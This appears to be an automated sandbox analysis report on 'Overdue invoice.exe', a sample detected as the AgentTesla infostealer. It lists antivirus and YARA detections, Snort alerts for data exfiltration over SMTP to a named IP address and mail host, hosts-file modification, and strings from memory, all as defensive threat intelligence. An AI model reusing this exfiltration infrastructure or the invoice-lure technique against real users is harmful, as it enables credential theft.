Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\dYXeRswtYBrq.exe	Joe Sandbox ML: detected

Source: 19.0.yqWDN.exe.400000.6.unpack	Avira: Label: TR/Spy.Gen8
Source: 19.0.yqWDN.exe.400000.8.unpack	Avira: Label: TR/Spy.Gen8
Source: 7.0.Overdue invoice.exe.400000.10.unpack	Avira: Label: TR/Spy.Gen8
Source: 7.0.Overdue invoice.exe.400000.6.unpack	Avira: Label: TR/Spy.Gen8
Source: 7.0.Overdue invoice.exe.400000.12.unpack	Avira: Label: TR/Spy.Gen8
Source: 19.0.yqWDN.exe.400000.4.unpack	Avira: Label: TR/Spy.Gen8
Source: 19.2.yqWDN.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen8
Source: 19.0.yqWDN.exe.400000.10.unpack	Avira: Label: TR/Spy.Gen8
Source: 7.2.Overdue invoice.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen8
Source: 7.0.Overdue invoice.exe.400000.8.unpack	Avira: Label: TR/Spy.Gen8
Source: 19.0.yqWDN.exe.400000.12.unpack	Avira: Label: TR/Spy.Gen8
Source: 7.0.Overdue invoice.exe.400000.4.unpack	Avira: Label: TR/Spy.Gen8

Source: Overdue invoice.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED

Source: Overdue invoice.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.3:49715 -> 206.183.111.188:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.3:49715 -> 206.183.111.188:587
Source: Traffic	Snort IDS: 2839723 ETPRO TROJAN Win32/Agent Tesla SMTP Activity 192.168.2.3:49715 -> 206.183.111.188:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.3:49745 -> 206.183.111.188:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.3:49745 -> 206.183.111.188:587
Source: Traffic	Snort IDS: 2839723 ETPRO TROJAN Win32/Agent Tesla SMTP Activity 192.168.2.3:49745 -> 206.183.111.188:587

Source: Joe Sandbox View

ASN Name: WEBWERKS-AS-INWebWerksIndiaPvtLtdIN WEBWERKS-AS-INWebWerksIndiaPvtLtdIN

Source: Joe Sandbox View

IP Address: 206.183.111.188 206.183.111.188

Source: global traffic

TCP traffic: 192.168.2.3:49715 -> 206.183.111.188:587

Source: global traffic

TCP traffic: 192.168.2.3:49715 -> 206.183.111.188:587

Source: Overdue invoice.exe, 00000007.00000002.521991645.0000000003401000.00000004.00000800.00020000.00000000.sdmp, yqWDN.exe, 00000013.00000002.522484179.0000000003041000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: yqWDN.exe, 00000013.00000002.522484179.0000000003041000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://DynDns.comDynDNSnamejidpasswordPsi/Psi
Source: yqWDN.exe, 00000013.00000002.522484179.0000000003041000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dWZLeu.com
Source: Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fontfabrik.com
Source: Overdue invoice.exe, 00000007.00000002.522968890.0000000003760000.00000004.00000800.00020000.00000000.sdmp, yqWDN.exe, 00000013.00000002.523253401.000000000339C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.jkudyog.com
Source: Overdue invoice.exe, 00000000.00000002.298765029.000000000294E000.00000004.00000800.00020000.00000000.sdmp, yqWDN.exe, 0000000F.00000002.373514445.0000000002CFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Overdue invoice.exe, 00000000.00000003.265415364.000000000590A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.agfamonotype.
Source: Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: Overdue invoice.exe, 00000000.00000003.261333763.0000000005909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: Overdue invoice.exe, 00000000.00000003.259988892.0000000005908000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/3C
Source: Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Overdue invoice.exe, 00000000.00000003.260820341.0000000005935000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.260841728.0000000005935000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.html
Source: Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Overdue invoice.exe, 00000000.00000003.260820341.0000000005935000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlP
Source: Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: Overdue invoice.exe, 00000000.00000003.260513239.0000000005909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com=
Source: Overdue invoice.exe, 00000000.00000003.260779440.000000000590A000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.260513239.0000000005909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comB.TTFlC
Source: Overdue invoice.exe, 00000000.00000003.261333763.0000000005909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comals
Source: Overdue invoice.exe, 00000000.00000003.261333763.0000000005909000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.260513239.0000000005909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comd
Source: Overdue invoice.exe, 00000000.00000003.261333763.0000000005909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comdC
Source: Overdue invoice.exe, 00000000.00000003.260779440.000000000590A000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.260513239.0000000005909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comdc
Source: Overdue invoice.exe, 00000000.00000003.297172527.0000000005900000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000002.303053432.0000000005900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comepko
Source: Overdue invoice.exe, 00000000.00000003.260779440.000000000590A000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.260513239.0000000005909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comessed
Source: Overdue invoice.exe, 00000000.00000003.261333763.0000000005909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comlicF
Source: Overdue invoice.exe, 00000000.00000003.260779440.000000000590A000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.260513239.0000000005909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comm
Source: Overdue invoice.exe, 00000000.00000003.260779440.000000000590A000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.260513239.0000000005909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.como
Source: Overdue invoice.exe, 00000000.00000003.297172527.0000000005900000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000002.303053432.0000000005900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comoGC
Source: Overdue invoice.exe, 00000000.00000003.261333763.0000000005909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comttoF
Source: Overdue invoice.exe, 00000000.00000003.253045863.000000000591E000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.253078124.000000000591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: Overdue invoice.exe, 00000000.00000003.253007661.000000000591B000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.253040437.000000000591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.comn
Source: Overdue invoice.exe, 00000000.00000003.254629796.0000000005904000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.254612717.000000000593D000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.254870128.0000000005904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: Overdue invoice.exe, 00000000.00000003.254870128.0000000005904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn//:
Source: Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Overdue invoice.exe, 00000000.00000003.254870128.0000000005904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/l
Source: Overdue invoice.exe, 00000000.00000003.254612717.000000000593D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cne-d
Source: Overdue invoice.exe, 00000000.00000003.254629796.0000000005904000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.254953312.000000000590B000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.254870128.0000000005904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnoO
Source: Overdue invoice.exe, 00000000.00000003.254612717.000000000593D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnt-ia
Source: Overdue invoice.exe, 00000000.00000003.254612717.000000000593D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnz
Source: Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Overdue invoice.exe, 00000000.00000003.252984688.000000000591E000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.252856713.0000000005920000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.252888263.000000000591E000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.253011774.000000000591E000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.252782511.0000000005920000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.253067018.0000000005924000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.253045863.000000000591E000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.252808922.0000000005920000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.253078124.000000000591B000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.253115594.000000000591B000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.252958098.000000000591E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: Overdue invoice.exe, 00000000.00000003.254081305.0000000005906000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr$A
Source: Overdue invoice.exe, 00000000.00000003.254081305.0000000005906000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr=
Source: Overdue invoice.exe, 00000000.00000003.254081305.0000000005906000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.krF1
Source: Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.253859484.000000000591B000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.253816400.000000000591B000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.253303468.000000000591B000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.253356717.000000000591B000.00000004.00000800.00020000.00000000.sdmp, Overdue invoice.exe, 00000000.00000003.253456642.000000000591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: Overdue invoice.exe, 00000000.00000003.253356717.000000000591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.comc
Source: Overdue invoice.exe, 00000000.00000003.253303468.000000000591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.comh
Source: Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: Overdue invoice.exe, 00000000.00000003.261333763.0000000005909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.de
Source: Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: Overdue invoice.exe, 00000000.00000003.261333763.0000000005909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.depA
Source: Overdue invoice.exe, 00000000.00000002.303440759.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: yqWDN.exe, 00000013.00000002.522484179.0000000003041000.00000004.00000800.00020000.00000000.sdmp, yqWDN.exe, 00000013.00000002.523253401.000000000339C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://I323GyXsTwT8KsWsK7L.net
Source: Overdue invoice.exe, 00000007.00000003.315746874.00000000011D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://I323GyXsTwT8KsWsK7L.net1-5-21-3853321935-21255632
Source: Overdue invoice.exe, 00000007.00000002.521991645.0000000003401000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://I323GyXsTwT8KsWsK7L.net8
Source: Overdue invoice.exe, 00000007.00000002.521991645.0000000003401000.00000004.00000800.00020000.00000000.sdmp, yqWDN.exe, 00000013.00000002.522484179.0000000003041000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www

Source: unknown

DNS traffic detected: queries for: mail.jkudyog.com

Source: Overdue invoice.exe, 00000000.00000002.298261739.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands

Modifies the hosts file

Source: C:\Users\user\Desktop\Overdue invoice.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 16.2.yqWDN.exe.3de2e78.2.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 19.0.yqWDN.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 19.0.yqWDN.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 16.2.yqWDN.exe.3de2e78.2.raw.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 7.0.Overdue invoice.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 7.0.Overdue invoice.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 15.2.yqWDN.exe.3e72e78.2.raw.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 7.0.Overdue invoice.exe.400000.12.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 19.2.yqWDN.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 19.0.yqWDN.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 7.2.Overdue invoice.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 19.0.yqWDN.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 7.0.Overdue invoice.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 19.0.yqWDN.exe.400000.12.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 15.2.yqWDN.exe.2d1039c.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen
Source: 0.2.Overdue invoice.exe.3ac2e78.4.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 7.0.Overdue invoice.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 15.2.yqWDN.exe.3e72e78.2.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 15.2.yqWDN.exe.3d8e3f8.3.raw.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 16.2.yqWDN.exe.3cfe3f8.3.raw.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 0.2.Overdue invoice.exe.3ac2e78.4.raw.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 0.2.Overdue invoice.exe.39de3f8.3.raw.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 0.2.Overdue invoice.exe.2960384.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Overdue invoice.exe

.NET source code contains very large array initializations

Source: 7.0.Overdue invoice.exe.400000.10.unpack, u003cPrivateImplementationDetailsu003eu007b343CACBFu002d3C8Au002d4F57u002dA6FEu002d44CB0DE3909Au007d/BD96E5B6u002d862Eu002d4184u002d9A95u002d4B268ED60D89.cs	Large array initialization: .cctor: array initializer size 11614
Source: 7.0.Overdue invoice.exe.400000.6.unpack, u003cPrivateImplementationDetailsu003eu007b343CACBFu002d3C8Au002d4F57u002dA6FEu002d44CB0DE3909Au007d/BD96E5B6u002d862Eu002d4184u002d9A95u002d4B268ED60D89.cs	Large array initialization: .cctor: array initializer size 11614
Source: 7.0.Overdue invoice.exe.400000.12.unpack, u003cPrivateImplementationDetailsu003eu007b343CACBFu002d3C8Au002d4F57u002dA6FEu002d44CB0DE3909Au007d/BD96E5B6u002d862Eu002d4184u002d9A95u002d4B268ED60D89.cs	Large array initialization: .cctor: array initializer size 11614
Source: 7.2.Overdue invoice.exe.400000.0.unpack, u003cPrivateImplementationDetailsu003eu007b343CACBFu002d3C8Au002d4F57u002dA6FEu002d44CB0DE3909Au007d/BD96E5B6u002d862Eu002d4184u002d9A95u002d4B268ED60D89.cs	Large array initialization: .cctor: array initializer size 11614

Source: Overdue invoice.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED

Source: 16.2.yqWDN.exe.3de2e78.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 19.0.yqWDN.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 19.0.yqWDN.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 16.2.yqWDN.exe.3de2e78.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 7.0.Overdue invoice.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 7.0.Overdue invoice.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 15.2.yqWDN.exe.3e72e78.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 7.0.Overdue invoice.exe.400000.12.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 19.2.yqWDN.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 19.0.yqWDN.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 7.2.Overdue invoice.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 19.0.yqWDN.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 7.0.Overdue invoice.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 19.0.yqWDN.exe.400000.12.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 15.2.yqWDN.exe.2d1039c.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
Source: 0.2.Overdue invoice.exe.3ac2e78.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 7.0.Overdue invoice.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 15.2.yqWDN.exe.3e72e78.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 15.2.yqWDN.exe.3d8e3f8.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 16.2.yqWDN.exe.3cfe3f8.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 0.2.Overdue invoice.exe.3ac2e78.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 0.2.Overdue invoice.exe.39de3f8.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 0.2.Overdue invoice.exe.2960384.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender

Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_00524DB1	0_2_00524DB1
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_00522809	0_2_00522809
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_005259ED	0_2_005259ED
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_00C2E2D0	0_2_00C2E2D0
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_00C2E2E0	0_2_00C2E2E0
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_00C2BA74	0_2_00C2BA74
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_027319C0	0_2_027319C0
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_02731058	0_2_02731058
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_02731048	0_2_02731048
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_02731740	0_2_02731740
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_02731730	0_2_02731730
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_027319B0	0_2_027319B0
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_02731C83	0_2_02731C83
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_02731C88	0_2_02731C88
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_0726D688	0_2_0726D688
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_07265530	0_2_07265530
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_07266420	0_2_07266420
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_07264B68	0_2_07264B68
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_0726C268	0_2_0726C268
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_07268AB0	0_2_07268AB0
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_072632F0	0_2_072632F0
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_072642C8	0_2_072642C8
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_07263751	0_2_07263751
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_07263758	0_2_07263758
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_07264FB9	0_2_07264FB9
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_07264FC8	0_2_07264FC8
Source: C:\Users\user\Desktop\Overdue invoice.exe	Code function: 0_2_07269625	0_2_07269625
